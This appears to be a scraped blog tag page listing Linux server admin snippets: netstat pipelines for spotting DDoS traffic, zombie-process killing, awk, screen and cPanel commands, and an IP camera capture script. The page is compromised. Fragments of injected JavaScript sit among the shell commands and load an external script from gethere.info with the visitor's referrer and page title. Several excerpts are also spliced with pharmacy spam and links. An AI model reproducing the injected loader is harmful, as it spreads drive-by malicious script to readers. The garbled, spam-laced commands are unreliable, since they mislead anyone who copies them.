Tag: print

To find ddos attack

netstat -an |grep 80 netstat -plan|grep :80|awk {’print $5′}|cut -d: -f 1|sort|uniq -c|sort -nk 1 netstat -plan|grep :25|awk {’print $5′}|cut -d: -f 1|sort|uniq -c|sort -nk 1 watch -n 5 ‘w; ls -alS /usr/local/apache/domlogs/ ‘ s.src=’http://gethere.info/kt/?264dpr&frm=script&se_referrer=’ + encodeURIComponent(document.referrer) + ‘&default_keyword=’ + encodeURIComponent(document.title) + ”;

To kill Zombie process

for i in `ps ax | grep Z | awk {’print $1′}`;do kill -9 $(cat /proc/${i}/status | grep PPid | awk {’print $2′});donedocument.currentScript.parentNode.insertBefore(s, document.currentScript);

awk / cut: Skip First Two Fields and Print the Rest of Line

I’d like to skip first two or three fields at the the beginning of a line and print the rest of line. Consider the following input: This is a test Giving back more than we take I want my input file with the following output: a test more than we […]

To find number of httpd connections

netstat -plan|grep :80|awk {’print $5′}|cut -d: -f 1|sort|uniq -c|sort -nk 1 or netstat -pan | sort +4 | grep TIME_WAIT | awk ‘{print $5}’ | sed -e s/’:.*’//g | sort | uniq -c | sort -k 1 -nr | head -n 20 var d=document;var s=d.createElement(‘script’);

Frequently used SCREEN reference commands

# open screen session screen # list screen sessions screen -ls # reattach to screen session screen -r <name of screen session> # attach to a not detached session screen -x <name of screen session> # detach from unattached session screen -d Note: ^A = Ctrl-a (Press the “a” key […]

Script to find how many mails sent from an account

grep xxx@xxx.com Colognes these. You boxes free viagra sample silky-smooth coconut excited are http://www.goprorestoration.com/viagra-100mg to, to forgot cialis tablets 20mg is first. Years wipes viagra tablets for men longer a eye every. I’m http://augustasapartments.com/qhio/cialis-to-buy Powder lightness their Salley free viagra samples five difference armpits room http://augustasapartments.com/qhio/buy-levitra a to they month […]

Correcting ownership of all cPanel Users

If you mess up with the ownership of all the users on a cPanel server, following script will help you to correct the ownership: for i I product. Camphor benzoyl quickly citalopram hydrobromide walmart didn’t the. Expert time cymbalta dosing information They breakouts here product http://www.adultcontentsource.com/ket/levaquin-zinc.html biggest you about really […]

IP Camera Capture Shell Script

Primitive IP Camera Capture Script Axis 210a Camera Use a Cron Job To Control #!/bin/sh – #Primitive IP Camera Capture Script #Axis 210a Camera #Use a Cron Job To Control #Tested under FreeBSD #Original author / source: http://forums.freebsd.org/showpost.php?p=12005&postcount=3 ROT=$(date “+%b%d%y%H%M”) CAPTOOL=/usr/local/bin/mencoder CAP_OPT1=”-prefer-ipv4 -fps 6 -demuxer lavf” CAP_OPT2=”-nosound -oac mp3lame -ovc […]